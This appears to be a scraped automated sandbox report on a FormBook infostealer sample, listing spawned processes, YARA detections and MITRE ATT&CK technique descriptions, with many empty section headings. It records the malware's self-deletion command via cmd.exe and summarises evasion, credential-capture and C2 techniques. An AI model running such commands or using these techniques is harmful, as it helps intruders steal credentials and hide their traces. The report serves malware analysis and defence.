00000007.00000000.752185973.0000000006BF7000.00000040.00020000.sdmp, Author: JPCERT/CC Incident Response Group
Reputation:	high

Analysis Process: netsh.exe PID: 6648 Parent PID: 3424

General

Start time:	13:37:43
Start date:	13/10/2021
Path:	C:\Windows\SysWOW64\netsh.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\netsh.exe
Imagebase:	0x9f0000
File size:	82944 bytes
MD5 hash:	A0AA3322BB46BBFC36AB9DC1DBBBB807
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 0000000A.00000002.945772498.00000000008C0000.00000040.00020000.sdmp, Author: Joe Security Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 0000000A.00000002.945772498.00000000008C0000.00000040.00020000.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com Rule: Formbook, Description: detect Formbook in memory, Source: 0000000A.00000002.945772498.00000000008C0000.00000040.00020000.sdmp, Author: JPCERT/CC Incident Response Group Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 0000000A.00000002.946308556.0000000002F00000.00000004.00000001.sdmp, Author: Joe Security Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 0000000A.00000002.946308556.0000000002F00000.00000004.00000001.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com Rule: Formbook, Description: detect Formbook in memory, Source: 0000000A.00000002.946308556.0000000002F00000.00000004.00000001.sdmp, Author: JPCERT/CC Incident Response Group Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 0000000A.00000002.946245801.0000000002BC0000.00000040.00020000.sdmp, Author: Joe Security Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 0000000A.00000002.946245801.0000000002BC0000.00000040.00020000.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com Rule: Formbook, Description: detect Formbook in memory, Source: 0000000A.00000002.946245801.0000000002BC0000.00000040.00020000.sdmp, Author: JPCERT/CC Incident Response Group
Reputation:	high

Analysis Process: cmd.exe PID: 6680 Parent PID: 6648

General

Start time:	13:37:47
Start date:	13/10/2021
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	/c del 'C:\Users\user\Desktop\010013.exe'
Imagebase:	0x11d0000
File size:	232960 bytes
MD5 hash:	F3BDBE3BB6F734E357235F4D5898582D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Analysis Process: conhost.exe PID: 6600 Parent PID: 6680

General

Start time:	13:37:47
Start date:	13/10/2021
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff724c50000
File size:	625664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Disassembly

Code Analysis

Reset < >

Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically requires being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	File monitoring, Process command-line parameters, Process monitoring, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse shared modules to execute malicious payloads. The Windows module loader can be instructed to load DLLs from arbitrary local paths and arbitrary Universal Naming Convention (UNC) network paths. This functionality resides in NTDLL.dll and is part of the Windows Native API which is called from functions like `CreateProcess` , `LoadLibrary` , etc. of the Win32 API.
Tactics:	Execution
Data Sources:	API monitoring, DLL monitoring, File monitoring, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	API monitoring, DLL monitoring, File monitoring, Named Pipes, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use rootkits to hide the presence of programs, files, network connections, services, drivers, and other system components. Rootkits are programs that hide the existence of malware by intercepting/hooking and modifying operating system API calls that supply system information.
Tactics:	Defense Evasion
Data Sources:	BIOS, MBR, System calls
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may disable security tools to avoid possible detection of their tools and activities. This can take the form of killing security software or event logging processes, deleting Registry keys so that tools do not start at run time, or other methods to interfere with security tools scanning or reporting information.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Services, Windows Registry
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, Email gateway, Environment variable, File monitoring, Malware reverse engineering, Network intrusion detection system, Network protocol analysis, Process command-line parameters, Process monitoring, Process use of network, SSL/TLS inspection, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata
Platforms:	macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may delete files left behind by the actions of their intrusion activity. Malware, tools, or other non-native files dropped or created on a system by an adversary may leave traces to indicate to what was done within a network and how. Removal of these files can occur during an intrusion, or as part of a post-intrusion process to minimize the adversary's footprint.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may hook into Windows application programming interface (API) functions to collect user credentials. Malicious hooking mechanisms may capture API calls that include parameters that reveal user authentication credentials.Unlike Keylogging , this technique focuses specifically on API functions that include parameters that reveal user credentials. Hooking involves redirecting calls to these functions and can be implemented via:
Tactics:	Collection, Credential Access
Data Sources:	API monitoring, Binary file metadata, DLL monitoring, Loaded DLLs, Process monitoring, Windows event logs
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use methods of capturing user input to obtain credentials or collect information. During normal system usage, users often provide credentials to various different locations, such as login pages/portals or system dialog boxes. Input capture mechanisms may be transparent to the user (e.g. Credential API Hooking ) or rely on deceiving the user into providing input into what they believe to be a genuine service (e.g. Web Portal Capture ).
Tactics:	Collection, Credential Access
Data Sources:	API monitoring, Binary file metadata, DLL monitoring, Kernel drivers, Loaded DLLs, PowerShell logs, Process command-line parameters, Process monitoring, User interface, Windows Registry, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, File monitoring, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, Azure AD, GCP, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, GCP, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Malware reverse engineering, Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network, SSL/TLS inspection
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Files may be copied from an external adversary controlled system through the command and control channel to bring tools into the victim network or through alternate protocols with another tool such as FTP. Files can also be copied over on Mac and Linux with native tools like scp, rsync, and sftp.
Tactics:	Command and Control
Data Sources:	File monitoring, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process command-line parameters, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading ...

Warning!

Windows Analysis Report 010013.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Threatname: FormBook

Yara Overview

Memory Dumps

Unpacked PEs

Sigma Overview

Jbx Signature Overview

AV Detection:

Compliance:

Software Vulnerabilities:

Networking:

Key, Mouse, Clipboard, Microphone and Screen Capturing:

E-Banking Fraud:

System Summary:

Data Obfuscation:

Persistence and Installation Behavior:

Boot Survival:

Hooking and other Techniques for Hiding and Protection:

Malware Analysis System Evasion:

Anti Debugging:

HIPS / PFW / Operating System Protection Evasion:

Language, Device and Operating System Detection:

Lowering of HIPS / PFW / Operating System Security Settings:

Stealing of Sensitive Information:

Remote Access Functionality:

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

Contacted IPs

Public

General Information

Simulations

Behavior and APIs

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Description:	Adversaries may use a non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Host network interface, Netflow/Enclave netflow, Network intrusion detection system, Network protocol analysis, Packet capture, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	DNS records, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre